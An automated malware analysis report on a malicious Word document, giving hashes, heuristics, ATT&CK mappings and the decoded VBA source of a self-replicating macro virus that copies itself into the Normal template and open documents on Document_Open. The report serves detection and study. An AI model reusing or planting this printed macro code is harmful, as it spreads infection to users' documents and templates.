Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 2175e2ad50c12a19…

MALICIOUS

Office (OLE) / .DOC

45.0 KB Created: 2025-03-14 00:16:00 Authoring application: Microsoft Office Word First seen: 2026-06-12
MD5: 6a03b5b020f000d8e4904300e44cb89e SHA-1: d6c351e95d92a60fc8b58fe89bd3fb5d8e595202 SHA-256: 2175e2ad50c12a19c02cfa1a8a560d6a189ea537bca2d14f7cc86773c24615b1
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing VBA macros. The Document_Open macro attempts to replicate its code to the Normal template, indicating a potential persistence mechanism. The heuristic 'VBA macro-virus self-replication / AV tampering' and the ClamAV detection 'Doc.Macro.APMPKILL-6097118-0' strongly suggest malicious intent. The macro code itself contains logic to write to the Normal template, which is a common persistence technique.

Heuristics 5

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
              .DeleteLines 1, .CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1025 bytes
SHA-256: b6bb40c3324a9a55276682d3a04936515debedc19798cd9b4db60b6bc4ef53ca
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'KILL
   On Error Resume Next
    Set prevDocument = NormalTemplate
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub

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